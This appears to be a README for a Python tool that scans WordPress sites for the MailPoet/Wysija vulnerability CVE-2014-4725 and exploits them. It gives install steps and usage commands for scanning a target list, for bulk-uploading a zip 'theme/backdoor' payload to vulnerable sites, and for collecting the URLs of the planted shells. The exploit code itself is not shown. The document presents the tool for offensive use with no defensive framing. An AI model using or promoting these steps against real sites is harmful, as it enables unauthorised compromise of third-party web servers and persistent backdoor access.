CVE-2014-4725

this script is used to scan and exploit cve-2014-4725 vulnerability (mailpoet/wysija newsletters) in wordpress.

features

• scan mode > detect wordpress targets vulnerable to cve-2014-4725
• exploit mode > upload a zip payload to vulnerable targets

installation

1. clone the repository:
   root@kitploit:~

   git clone https://github.com/username/CVE-2014-4725.git
   cd CVE-2014-4725
   

2. install dependencies:
   root@kitploit:~

    pip install requests
   

usage

scan targets

python exploit.py --scan targets.txt

targets.txt contains a list of targets (one per line, without http://)

exploit targets

python exploit.py --exploit vuln.txt --payload file/zip.zip

vuln.txt contains targets that are already confirmed vulnerable

--payload is the zip file containing the theme/backdoor to be uploaded

output

vuln.txt > list of vulnerable targets

shell.txt > urls of uploaded shells